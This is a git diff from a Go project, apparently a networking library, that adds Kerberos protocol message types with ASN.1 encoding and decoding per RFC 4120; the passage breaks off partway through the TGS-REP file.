100644 index 309a196b..00000000 --- a/network/kerberos/kerberos_test.go +++ /dev/null @@ -1 +0,0 @@ -package kerberos diff --git a/network/kerberos/messages/apreq.go b/network/kerberos/messages/apreq.go new file mode 100644 index 00000000..e442faad --- /dev/null +++ b/network/kerberos/messages/apreq.go @@ -0,0 +1,102 @@ +package messages + +import ( + "encoding/asn1" + "fmt" +) + +// apReqInner is the inner SEQUENCE of an AP-REQ message. +type apReqInner struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int `asn1:"explicit,tag:0"` + // MsgType is the message type (always MsgTypeAPReq = 14). + MsgType int `asn1:"explicit,tag:1"` + // APOptions contains bit flags for the AP request. + APOptions asn1.BitString `asn1:"explicit,tag:2"` + // Ticket is the service ticket (APPLICATION[1]), stored as raw bytes. + Ticket asn1.RawValue `asn1:"explicit,tag:3"` + // Authenticator is the encrypted authenticator. + Authenticator EncryptedData `asn1:"explicit,tag:4"` +} + +// APReq is a Kerberos AP-REQ (Application Request) message, +// APPLICATION[14], as defined in RFC 4120 Section 5.5.1. +// It is sent by the client to a service as part of mutual authentication, +// and is also embedded in TGS-REQ PA-DATA (PA-TGS-REQ). +type APReq struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int + // MsgType is the message type (always MsgTypeAPReq = 14). + MsgType int + // APOptions contains bit flags controlling the AP exchange. + APOptions asn1.BitString + // Ticket is the service ticket obtained from the TGS. + Ticket Ticket + // Authenticator is the encrypted Authenticator proving the client's identity. + Authenticator EncryptedData +} + +// Marshal encodes the AP-REQ as an ASN.1 APPLICATION[14] wrapped SEQUENCE. +func (r *APReq) Marshal() ([]byte, error) { + tkt_bytes, err := r.Ticket.Marshal() + if err != nil { + return nil, err + } + var tkt_raw asn1.RawValue + if _, err := asn1.Unmarshal(tkt_bytes, &tkt_raw); err != nil { + return nil, err + } + + inner := apReqInner{ + PVNO: KerberosV5, + MsgType: MsgTypeAPReq, + APOptions: r.APOptions, + Ticket: tkt_raw, + Authenticator: r.Authenticator, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(MsgTypeAPReq, seq_contents) +} + +// Unmarshal decodes an AP-REQ from an ASN.1 APPLICATION[14] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (r *APReq) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, MsgTypeAPReq) + if err != nil { + return 0, fmt.Errorf("apreq: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner apReqInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("apreq inner unmarshal: %w", err) + } + + r.PVNO = inner.PVNO + r.MsgType = inner.MsgType + r.APOptions = inner.APOptions + r.Authenticator = inner.Authenticator + + // Unmarshal the ticket from the raw value + tkt_raw_bytes, err := asn1.Marshal(inner.Ticket) + if err != nil { + return 0, err + } + if _, err := r.Ticket.Unmarshal(tkt_raw_bytes); err != nil { + return 0, fmt.Errorf("apreq ticket unmarshal: %w", err) + } + + return consumed, nil +} diff --git a/network/kerberos/messages/asrep.go b/network/kerberos/messages/asrep.go new file mode 100644 index 00000000..78455a3b --- /dev/null +++ b/network/kerberos/messages/asrep.go @@ -0,0 +1,113 @@ +package messages + +import ( + "encoding/asn1" + "fmt" +) + +// kdcRepInner is the inner SEQUENCE of a KDC reply (AS-REP or TGS-REP). +type kdcRepInner struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int `asn1:"explicit,tag:0"` + // MsgType is the message type (MsgTypeASRep = 11 or MsgTypeTGSRep = 13). + MsgType int `asn1:"explicit,tag:1"` + // PAData contains optional pre-authentication data. + PAData []PAData `asn1:"explicit,tag:2,optional"` + // CRealm is the client's realm. + CRealm string `asn1:"explicit,tag:3,generalstring"` + // CName is the client's principal name. + CName PrincipalName `asn1:"explicit,tag:4"` + // Ticket is the issued ticket (APPLICATION[1]), stored as raw bytes. + Ticket asn1.RawValue `asn1:"explicit,tag:5"` + // EncPart is the encrypted part of the reply containing the session key. + EncPart EncryptedData `asn1:"explicit,tag:6"` +} + +// ASRep is a Kerberos AS-REP (Authentication Service Reply) message, +// APPLICATION[11], as defined in RFC 4120 Section 5.4.2. +// It is sent by the KDC in response to a successful AS-REQ. +type ASRep struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int + // MsgType is the message type (always MsgTypeASRep = 11). + MsgType int + // PAData contains pre-authentication data (rarely set in AS-REP). + PAData []PAData + // CRealm is the realm of the client. + CRealm string + // CName is the client's principal name as returned by the KDC. + CName PrincipalName + // Ticket is the issued Ticket Granting Ticket. + Ticket Ticket + // EncPart is the encrypted reply body, decryptable with the client's key. + EncPart EncryptedData +} + +// Marshal encodes the AS-REP as an ASN.1 APPLICATION[11] wrapped SEQUENCE. +func (r *ASRep) Marshal() ([]byte, error) { + tkt_bytes, err := r.Ticket.Marshal() + if err != nil { + return nil, err + } + var tkt_raw asn1.RawValue + if _, err := asn1.Unmarshal(tkt_bytes, &tkt_raw); err != nil { + return nil, err + } + + inner := kdcRepInner{ + PVNO: KerberosV5, + MsgType: MsgTypeASRep, + PAData: r.PAData, + CRealm: r.CRealm, + CName: r.CName, + Ticket: tkt_raw, + EncPart: r.EncPart, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(MsgTypeASRep, seq_contents) +} + +// Unmarshal decodes an AS-REP from an ASN.1 APPLICATION[11] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (r *ASRep) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, MsgTypeASRep) + if err != nil { + return 0, fmt.Errorf("asrep: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner kdcRepInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("asrep inner unmarshal: %w", err) + } + + r.PVNO = inner.PVNO + r.MsgType = inner.MsgType + r.PAData = inner.PAData + r.CRealm = inner.CRealm + r.CName = inner.CName + r.EncPart = inner.EncPart + + // Unmarshal the ticket from the raw value + tkt_raw_bytes, err := asn1.Marshal(inner.Ticket) + if err != nil { + return 0, err + } + if _, err := r.Ticket.Unmarshal(tkt_raw_bytes); err != nil { + return 0, fmt.Errorf("asrep ticket unmarshal: %w", err) + } + + return consumed, nil +} diff --git a/network/kerberos/messages/asreq.go b/network/kerberos/messages/asreq.go new file mode 100644 index 00000000..8aafa34c --- /dev/null +++ b/network/kerberos/messages/asreq.go @@ -0,0 +1,78 @@ +package messages + +import ( + "encoding/asn1" + "fmt" +) + +// asReqInner is the inner SEQUENCE of an AS-REQ message. +// It is wrapped in an APPLICATION[10] tag by Marshal. +type asReqInner struct { + // PVNO is the Kerberos protocol version number (always 5). + PVNO int `asn1:"explicit,tag:1"` + // MsgType is the message type (always MsgTypeASReq = 10). + MsgType int `asn1:"explicit,tag:2"` + // PAData contains optional pre-authentication data. + PAData []PAData `asn1:"explicit,tag:3,optional"` + // ReqBody is the KDC request body. + ReqBody KDCReqBody `asn1:"explicit,tag:4"` +} + +// ASReq is a Kerberos AS-REQ (Authentication Service Request) message, +// APPLICATION[10], as defined in RFC 4120 Section 5.4.1. +// It is sent by the client to the KDC to request a TGT. +type ASReq struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int + // MsgType is the message type (always MsgTypeASReq = 10). + MsgType int + // PAData contains pre-authentication data (e.g. PA-ENC-TIMESTAMP). + PAData []PAData + // ReqBody is the KDC request body containing client/server names and options. + ReqBody KDCReqBody +} + +// Marshal encodes the AS-REQ as an ASN.1 APPLICATION[10] wrapped SEQUENCE. +func (r *ASReq) Marshal() ([]byte, error) { + inner := asReqInner{ + PVNO: KerberosV5, + MsgType: MsgTypeASReq, + PAData: r.PAData, + ReqBody: r.ReqBody, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(MsgTypeASReq, seq_contents) +} + +// Unmarshal decodes an AS-REQ from an ASN.1 APPLICATION[10] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (r *ASReq) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, MsgTypeASReq) + if err != nil { + return 0, fmt.Errorf("asreq: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner asReqInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("asreq inner unmarshal: %w", err) + } + + r.PVNO = inner.PVNO + r.MsgType = inner.MsgType + r.PAData = inner.PAData + r.ReqBody = inner.ReqBody + return consumed, nil +} diff --git a/network/kerberos/messages/authenticator.go b/network/kerberos/messages/authenticator.go new file mode 100644 index 00000000..9650f105 --- /dev/null +++ b/network/kerberos/messages/authenticator.go @@ -0,0 +1,124 @@ +package messages + +import ( + "encoding/asn1" + "fmt" + "time" +) + +// Checksum contains a cryptographic checksum as defined in RFC 4120 Section 5.2.9. +type Checksum struct { + // CKSumType identifies the checksum algorithm. + CKSumType int `asn1:"explicit,tag:0"` + // Checksum contains the raw checksum bytes. + Checksum []byte `asn1:"explicit,tag:1"` +} + +// EncryptionKey holds a Kerberos encryption key as defined in RFC 4120 Section 5.2.9. +type EncryptionKey struct { + // KeyType identifies the encryption algorithm. + KeyType int `asn1:"explicit,tag:0"` + // KeyValue contains the raw key bytes. + KeyValue []byte `asn1:"explicit,tag:1"` +} + +// authenticatorInner is the inner SEQUENCE of a Kerberos Authenticator. +type authenticatorInner struct { + // AVno is the Authenticator version number (always 5). + AVno int `asn1:"explicit,tag:0"` + // CRealm is the client's realm. + CRealm string `asn1:"explicit,tag:1,generalstring"` + // CName is the client's principal name. + CName PrincipalName `asn1:"explicit,tag:2"` + // Cksum is an optional checksum of the application data. + Cksum Checksum `asn1:"explicit,tag:3,optional"` + // CUSec is the microseconds component of the client timestamp. + CUSec int `asn1:"explicit,tag:4"` + // CTime is the client timestamp (used to detect replays). + CTime time.Time `asn1:"explicit,tag:5,generalized"` + // SubKey is an optional sub-session key chosen by the client. + SubKey EncryptionKey `asn1:"explicit,tag:6,optional"` + // SeqNumber is an optional sequence number for ordering messages. + SeqNumber int `asn1:"explicit,tag:7,optional"` + // AuthorizationData contains optional authorization data. + AuthorizationData []AuthorizationData `asn1:"explicit,tag:8,optional"` +} + +// Authenticator is a Kerberos Authenticator (APPLICATION[2]), +// as defined in RFC 4120 Section 5.5.1. +// It is encrypted within an AP-REQ and proves the client's identity. +type Authenticator struct { + // AVno is the Authenticator version number (always 5). + AVno int + // CRealm is the realm of the client. + CRealm string + // CName is the client's principal name. + CName PrincipalName + // CUSec is the microseconds component of CTime. + CUSec int + // CTime is the client's current time (must match server time within clock skew). + CTime time.Time + // SubKey is an optional client-chosen sub-session key. + SubKey *EncryptionKey + // SeqNumber is the optional sequence number. + SeqNumber int +} + +// Marshal encodes the Authenticator as an ASN.1 APPLICATION[2] wrapped SEQUENCE. +func (a *Authenticator) Marshal() ([]byte, error) { + inner := authenticatorInner{ + AVno: KerberosV5, + CRealm: a.CRealm, + CName: a.CName, + CUSec: a.CUSec, + CTime: a.CTime, + SeqNumber: a.SeqNumber, + } + if a.SubKey != nil { + inner.SubKey = *a.SubKey + } + + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(2, seq_contents) +} + +// Unmarshal decodes an Authenticator from an ASN.1 APPLICATION[2] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (a *Authenticator) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, 2) + if err != nil { + return 0, fmt.Errorf("authenticator: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner authenticatorInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("authenticator inner unmarshal: %w", err) + } + + a.AVno = inner.AVno + a.CRealm = inner.CRealm + a.CName = inner.CName + a.CUSec = inner.CUSec + a.CTime = inner.CTime + a.SeqNumber = inner.SeqNumber + // SubKey is optional; only set if KeyType is non-zero + if inner.SubKey.KeyType != 0 { + sk := inner.SubKey + a.SubKey = &sk + } + + return consumed, nil +} diff --git a/network/kerberos/messages/constants.go b/network/kerberos/messages/constants.go new file mode 100644 index 00000000..31dab27a --- /dev/null +++ b/network/kerberos/messages/constants.go @@ -0,0 +1,94 @@ +// Package messages provides Kerberos protocol message types and constants +// as defined in RFC 4120 and related specifications. +package messages + +// Kerberos message type constants (RFC 4120 Section 7.5.7). +const ( + // MsgTypeASReq is the Authentication Service Request message type. + MsgTypeASReq = 10 + // MsgTypeASRep is the Authentication Service Reply message type. + MsgTypeASRep = 11 + // MsgTypeTGSReq is the Ticket Granting Service Request message type. + MsgTypeTGSReq = 12 + // MsgTypeTGSRep is the Ticket Granting Service Reply message type. + MsgTypeTGSRep = 13 + // MsgTypeAPReq is the Application Request message type. + MsgTypeAPReq = 14 + // MsgTypeAPRep is the Application Reply message type. + MsgTypeAPRep = 15 + // MsgTypeError is the KRB-ERROR message type. + MsgTypeError = 30 +) + +// KerberosV5 is the Kerberos protocol version number. +const KerberosV5 = 5 + +// Principal name type constants (RFC 4120 Section 6.2). +const ( + // NameTypePrincipal is the general principal name type (NT-PRINCIPAL). + NameTypePrincipal = 1 + // NameTypeSRVInst is the service instance name type (NT-SRV-INST). + NameTypeSRVInst = 2 + // NameTypeSRVHST is the service with host name type (NT-SRV-HST). + NameTypeSRVHST = 3 + // NameTypeEnterprise is the enterprise name type (NT-ENTERPRISE). + NameTypeEnterprise = 10 +) + +// Encryption type constants (RFC 3961, RFC 3962, RFC 4757). +const ( + // ETypeRC4HMAC is the RC4-HMAC encryption type (etype 23), per RFC 4757. + ETypeRC4HMAC = 23 + // ETypeAES128CTSHMACSHA196 is AES-128-CTS-HMAC-SHA1-96 (etype 17), per RFC 3962. + ETypeAES128CTSHMACSHA196 = 17 + // ETypeAES256CTSHMACSHA196 is AES-256-CTS-HMAC-SHA1-96 (etype 18), per RFC 3962. + ETypeAES256CTSHMACSHA196 = 18 +) + +// Pre-authentication data type constants (RFC 4120 Section 7.5.2). +const ( + // PATGSReq is the TGS-REQ pre-auth type (PA-TGS-REQ). + PATGSReq = 1 + // PAEncTimestamp is the encrypted timestamp pre-auth type (PA-ENC-TIMESTAMP). + PAEncTimestamp = 2 + // PAETypeInfo2 is the encryption type info version 2 pre-auth type (PA-ETYPE-INFO2). + PAETypeInfo2 = 19 +) + +// KDC error code constants (RFC 4120 Section 7.5.9). +const ( + // ErrNone indicates no error. + ErrNone = 0 + // ErrCPrincipalUnknown is KDC_ERR_C_PRINCIPAL_UNKNOWN: client not found in database. + ErrCPrincipalUnknown = 6 + // ErrKDCUnavailable is KRB_ERR_GENERIC: KDC unavailable. + ErrKDCUnavailable = 13 + // ErrPreauthRequired is KDC_ERR_PREAUTH_REQUIRED: pre-authentication required. + ErrPreauthRequired = 25 +) + +// AP options bit position constants (RFC 4120 Section 5.5.1). +const ( + // APOptionUseSessionKey requests use of session key instead of service key. + APOptionUseSessionKey = 1 + // APOptionMutualAuth requests mutual authentication. + APOptionMutualAuth = 2 +) + +// Ticket flag bit position constants (RFC 4120 Section 2.1). +const ( + // TicketFlagForwardable marks the ticket as forwardable. + TicketFlagForwardable = 1 + // TicketFlagForwarded marks the ticket as forwarded. + TicketFlagForwarded = 2 + // TicketFlagProxiable marks the ticket as proxiable. + TicketFlagProxiable = 3 + // TicketFlagProxy marks the ticket as a proxy ticket. + TicketFlagProxy = 4 + // TicketFlagPreAuthent marks the ticket as pre-authenticated. + TicketFlagPreAuthent = 6 + // TicketFlagInitial marks the ticket as an initial ticket. + TicketFlagInitial = 7 + // TicketFlagRenewable marks the ticket as renewable. + TicketFlagRenewable = 8 +) diff --git a/network/kerberos/messages/encreppart.go b/network/kerberos/messages/encreppart.go new file mode 100644 index 00000000..faf8c173 --- /dev/null +++ b/network/kerberos/messages/encreppart.go @@ -0,0 +1,148 @@ +package messages + +import ( + "encoding/asn1" + "fmt" + "time" +) + +// LastReq is a last-request entry as defined in RFC 4120 Section 5.4.2. +type LastReq struct { + // LRType identifies the type of last request. + LRType int `asn1:"explicit,tag:0"` + // LRValue is the time of the last request. + LRValue time.Time `asn1:"explicit,tag:1,generalized"` +} + +// encRepPartInner is the inner SEQUENCE shared by EncASRepPart and EncTGSRepPart. +type encRepPartInner struct { + Key EncryptionKey `asn1:"explicit,tag:0"` + LastReq []LastReq `asn1:"explicit,tag:1"` + Nonce int `asn1:"explicit,tag:2"` + KeyExpiration time.Time `asn1:"explicit,tag:3,optional,generalized"` + Flags asn1.BitString `asn1:"explicit,tag:4"` + AuthTime time.Time `asn1:"explicit,tag:5,generalized"` + StartTime time.Time `asn1:"explicit,tag:6,optional,generalized"` + EndTime time.Time `asn1:"explicit,tag:7,generalized"` + RenewTill time.Time `asn1:"explicit,tag:8,optional,generalized"` + SRealm string `asn1:"explicit,tag:9,generalstring"` + SName PrincipalName `asn1:"explicit,tag:10"` +} + +// EncASRepPart is the decrypted enc-part of an AS-REP (APPLICATION 25), +// as defined in RFC 4120 Section 5.4.2. +// It contains the session key and ticket metadata. +type EncASRepPart struct { + // Key is the session key for use with the issued ticket. + Key EncryptionKey + // Nonce must match the nonce in the AS-REQ. + Nonce int + // Flags contains the ticket flags. + Flags asn1.BitString + // AuthTime is the time the client was authenticated. + AuthTime time.Time + // StartTime is the ticket's start time (optional). + StartTime time.Time + // EndTime is the ticket's expiry time. + EndTime time.Time + // RenewTill is the renewable lifetime end time (optional). + RenewTill time.Time + // SRealm is the realm of the service. + SRealm string + // SName is the service principal name. + SName PrincipalName +} + +// Unmarshal decodes an EncASRepPart from an ASN.1 APPLICATION[25] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (e *EncASRepPart) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, 25) + if err != nil { + return 0, fmt.Errorf("encasreppart: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner encRepPartInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("encasreppart inner unmarshal: %w", err) + } + + e.Key = inner.Key + e.Nonce = inner.Nonce + e.Flags = inner.Flags + e.AuthTime = inner.AuthTime + e.StartTime = inner.StartTime + e.EndTime = inner.EndTime + e.RenewTill = inner.RenewTill + e.SRealm = inner.SRealm + e.SName = inner.SName + return consumed, nil +} + +// EncTGSRepPart is the decrypted enc-part of a TGS-REP (APPLICATION 26), +// as defined in RFC 4120 Section 5.4.2. +// It has the same structure as EncASRepPart but a different APPLICATION tag. +type EncTGSRepPart struct { + // Key is the session key for use with the service ticket. + Key EncryptionKey + // Nonce must match the nonce in the TGS-REQ. + Nonce int + // Flags contains the ticket flags. + Flags asn1.BitString + // AuthTime is the time of original authentication. + AuthTime time.Time + // StartTime is the ticket's start time (optional). + StartTime time.Time + // EndTime is the ticket's expiry time. + EndTime time.Time + // RenewTill is the renewable lifetime end time (optional). + RenewTill time.Time + // SRealm is the realm of the service. + SRealm string + // SName is the service principal name. + SName PrincipalName +} + +// Unmarshal decodes an EncTGSRepPart from an ASN.1 APPLICATION[26] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (e *EncTGSRepPart) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, 26) + if err != nil { + return 0, fmt.Errorf("enctgsreppart: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner encRepPartInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("enctgsreppart inner unmarshal: %w", err) + } + + e.Key = inner.Key + e.Nonce = inner.Nonce + e.Flags = inner.Flags + e.AuthTime = inner.AuthTime + e.StartTime = inner.StartTime + e.EndTime = inner.EndTime + e.RenewTill = inner.RenewTill + e.SRealm = inner.SRealm + e.SName = inner.SName + return consumed, nil +} diff --git a/network/kerberos/messages/kdcreqbody.go b/network/kerberos/messages/kdcreqbody.go new file mode 100644 index 00000000..4d214131 --- /dev/null +++ b/network/kerberos/messages/kdcreqbody.go @@ -0,0 +1,35 @@ +package messages + +import ( + "encoding/asn1" + "time" +) + +// KDCReqBody is the body of a KDC request (AS-REQ or TGS-REQ), +// as defined in RFC 4120 Section 5.4.1. +type KDCReqBody struct { + // KDCOptions contains bit flags controlling the KDC request behavior. + KDCOptions asn1.BitString `asn1:"explicit,tag:0"` + // CName is the client principal name (present in AS-REQ, absent in TGS-REQ). + CName PrincipalName `asn1:"explicit,tag:1,optional"` + // Realm is the realm for the request (crealm in AS-REQ, srealm in TGS-REQ). + Realm string `asn1:"explicit,tag:2,generalstring"` + // SName is the server principal name being requested. + SName PrincipalName `asn1:"explicit,tag:3,optional"` + // From is the requested start time for the ticket (optional). + From time.Time `asn1:"explicit,tag:4,optional,generalized"` + // Till is the requested expiry time for the ticket. + Till time.Time `asn1:"explicit,tag:5,generalized"` + // RTime is the requested renewable lifetime end time (optional). + RTime time.Time `asn1:"explicit,tag:6,optional,generalized"` + // Nonce is a random number used to detect replays. + Nonce int `asn1:"explicit,tag:7"` + // EType lists the client's supported encryption types, in preference order. + EType []int `asn1:"explicit,tag:8"` + // Addresses restricts the ticket to specific network addresses (optional). + Addresses []HostAddress `asn1:"explicit,tag:9,optional"` + // EncAuthData contains encrypted authorization data (optional, TGS-REQ). + EncAuthData EncryptedData `asn1:"explicit,tag:10,optional"` + // AdditTickets contains additional tickets (optional, for TGS renewal/forwarding). + AdditTickets []Ticket `asn1:"explicit,tag:11,optional"` +} diff --git a/network/kerberos/messages/krberror.go b/network/kerberos/messages/krberror.go new file mode 100644 index 00000000..50d982b3 --- /dev/null +++ b/network/kerberos/messages/krberror.go @@ -0,0 +1,121 @@ +package messages + +import ( + "encoding/asn1" + "fmt" + "time" +) + +// krbErrorInner is the inner SEQUENCE of a KRB-ERROR message. +type krbErrorInner struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int `asn1:"explicit,tag:0"` + // MsgType is the message type (always MsgTypeError = 30). + MsgType int `asn1:"explicit,tag:1"` + // CTime is the client time when the error occurred (optional). + CTime time.Time `asn1:"explicit,tag:2,optional,generalized"` + // CUSec is the microseconds component of CTime (optional). + CUSec int `asn1:"explicit,tag:3,optional"` + // STime is the server time when the error occurred. + STime time.Time `asn1:"explicit,tag:4,generalized"` + // SUSec is the microseconds component of STime. + SUSec int `asn1:"explicit,tag:5"` + // ErrorCode is the Kerberos error code. + ErrorCode int `asn1:"explicit,tag:6"` + // CRealm is the client's realm (optional). + CRealm string `asn1:"explicit,tag:7,optional,generalstring"` + // CName is the client's principal name (optional). + CName PrincipalName `asn1:"explicit,tag:8,optional"` + // Realm is the server's realm. + Realm string `asn1:"explicit,tag:9,generalstring"` + // SName is the server's principal name. + SName PrincipalName `asn1:"explicit,tag:10"` + // EText is an optional error text string. + EText string `asn1:"explicit,tag:11,optional,utf8"` + // EData contains additional error data (optional, e.g. PA-ETYPE-INFO2). + EData []byte `asn1:"explicit,tag:12,optional"` +} + +// KRBError is a Kerberos KRB-ERROR message (APPLICATION[30]), +// as defined in RFC 4120 Section 5.9.1. +// It is sent by the KDC when an error occurs processing a request. +type KRBError struct { + // PVNO is the Kerberos protocol version. + PVNO int + // MsgType is the message type (MsgTypeError = 30). + MsgType int + // STime is the server time at which the error occurred. + STime time.Time + // SUSec is the microsecond component of STime. + SUSec int + // ErrorCode identifies the specific error. + ErrorCode int + // Realm is the server's realm. + Realm string + // SName is the server's principal name. + SName PrincipalName + // EText is a human-readable error description. + EText string + // EData contains additional structured error information. + EData []byte +} + +// Error implements the error interface, returning a description of the KRB error. +func (e *KRBError) Error() string { + return fmt.Sprintf("KRB Error %d: %s", e.ErrorCode, e.EText) +} + +// Marshal encodes the KRBError as an ASN.1 APPLICATION[30] wrapped SEQUENCE. +func (e *KRBError) Marshal() ([]byte, error) { + inner := krbErrorInner{ + PVNO: KerberosV5, + MsgType: MsgTypeError, + STime: e.STime, + SUSec: e.SUSec, + ErrorCode: e.ErrorCode, + Realm: e.Realm, + SName: e.SName, + EText: e.EText, + EData: e.EData, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(MsgTypeError, seq_contents) +} + +// Unmarshal decodes a KRBError from an ASN.1 APPLICATION[30] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (e *KRBError) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, MsgTypeError) + if err != nil { + return 0, fmt.Errorf("krberror: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner krbErrorInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("krberror inner unmarshal: %w", err) + } + + e.PVNO = inner.PVNO + e.MsgType = inner.MsgType + e.STime = inner.STime + e.SUSec = inner.SUSec + e.ErrorCode = inner.ErrorCode + e.Realm = inner.Realm + e.SName = inner.SName + e.EText = inner.EText + e.EData = inner.EData + return consumed, nil +} diff --git a/network/kerberos/messages/padata.go b/network/kerberos/messages/padata.go new file mode 100644 index 00000000..97783406 --- /dev/null +++ b/network/kerberos/messages/padata.go @@ -0,0 +1,64 @@ +package messages + +import ( + "encoding/asn1" + "time" +) + +// PAEncTSEnc is the plaintext body of a PA-ENC-TIMESTAMP pre-authentication element, +// as defined in RFC 4120 Section 5.2.7.2. +// It is encrypted with the client's key and used to prove knowledge of the password. +type PAEncTSEnc struct { + // PATimestamp is the client's current time. + PATimestamp time.Time `asn1:"explicit,tag:0,generalized"` + // PAUSec is the optional microseconds component of PATimestamp. + PAUSec int `asn1:"explicit,tag:1,optional"` +} + +// Marshal encodes PAEncTSEnc as a plain ASN.1 SEQUENCE (no APPLICATION wrapper). +func (p *PAEncTSEnc) Marshal() ([]byte, error) { + return asn1.Marshal(*p) +} + +// Unmarshal decodes PAEncTSEnc from a plain ASN.1 SEQUENCE. +// Returns the number of bytes consumed from data. +func (p *PAEncTSEnc) Unmarshal(data []byte) (int, error) { + rest, err := asn1.Unmarshal(data, p) + if err != nil { + return 0, err + } + return len(data) - len(rest), nil +} + +// ETypeInfo2Entry is a single entry in a PA-ETYPE-INFO2 pre-authentication element, +// as defined in RFC 4120 Section 5.2.7.5. +// It specifies an encryption type and optional salt/parameters for string-to-key derivation. +type ETypeInfo2Entry struct { + // EType identifies the encryption type. + EType int `asn1:"explicit,tag:0"` + // Salt is the optional salt string for string-to-key derivation. + Salt string `asn1:"explicit,tag:1,optional,utf8"` + // S2KParams contains optional string-to-key parameters (e.g. iteration count). + S2KParams []byte `asn1:"explicit,tag:2,optional"` +} + +// ETypeInfo2 is a sequence of ETypeInfo2Entry values returned in PA-ETYPE-INFO2. +// The KDC uses this to tell the client which encryption types and salts to use. +type ETypeInfo2 []ETypeInfo2Entry + +// Marshal encodes ETypeInfo2 as an ASN.1 SEQUENCE OF. +func (e ETypeInfo2) Marshal() ([]byte, error) { + return asn1.Marshal([]ETypeInfo2Entry(e)) +} + +// Unmarshal decodes ETypeInfo2 from an ASN.1 SEQUENCE OF. +// Returns the number of bytes consumed from data. +func (e *ETypeInfo2) Unmarshal(data []byte) (int, error) { + var entries []ETypeInfo2Entry + rest, err := asn1.Unmarshal(data, &entries) + if err != nil { + return 0, err + } + *e = ETypeInfo2(entries) + return len(data) - len(rest), nil +} diff --git a/network/kerberos/messages/tgsrep.go b/network/kerberos/messages/tgsrep.go new file mode 100644 index 00000000..afe7a946 --- /dev/null +++ b/network/kerberos/messages/tgsrep.go @@ -0,0 +1,95 @@ +package messages + +import ( + "encoding/asn1" + "fmt" +) + +// TGSRep is a Kerberos TGS-REP (Ticket Granting Service Reply) message, +// APPLICATION[13], as defined in RFC 4120 Section 5.4.2. +// It is sent by the TGS in response to a successful TGS-REQ. +type TGSRep struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int + // MsgType is the message type (always MsgTypeTGSRep = 13). + MsgType int + // PAData contains pre-authentication data (rarely set in TGS-REP). + PAData []PAData + // CRealm is the realm of the client. + CRealm string + // CName is the client's principal name. + CName PrincipalName + // Ticket is the issued service ticket. + Ticket Ticket + // EncPart is the encrypted reply body, decryptable with the TGT session key. + EncPart EncryptedData +} + +// Marshal encodes the TGS-REP as an ASN.1 APPLICATION[13] wrapped SEQUENCE. +func (r *TGSRep) Marshal() ([]byte, error) { + tkt_bytes, err := r.Ticket.Marshal() + if err != nil { + return nil, err + } + var tkt_raw asn1.RawValue + if _, err := asn1.Unmarshal(tkt_bytes, &tkt_raw); err != nil { + return nil, err + } + + inner := kdcRepInner{ + PVNO: KerberosV5, + MsgType: MsgTypeTGSRep, + PAData: 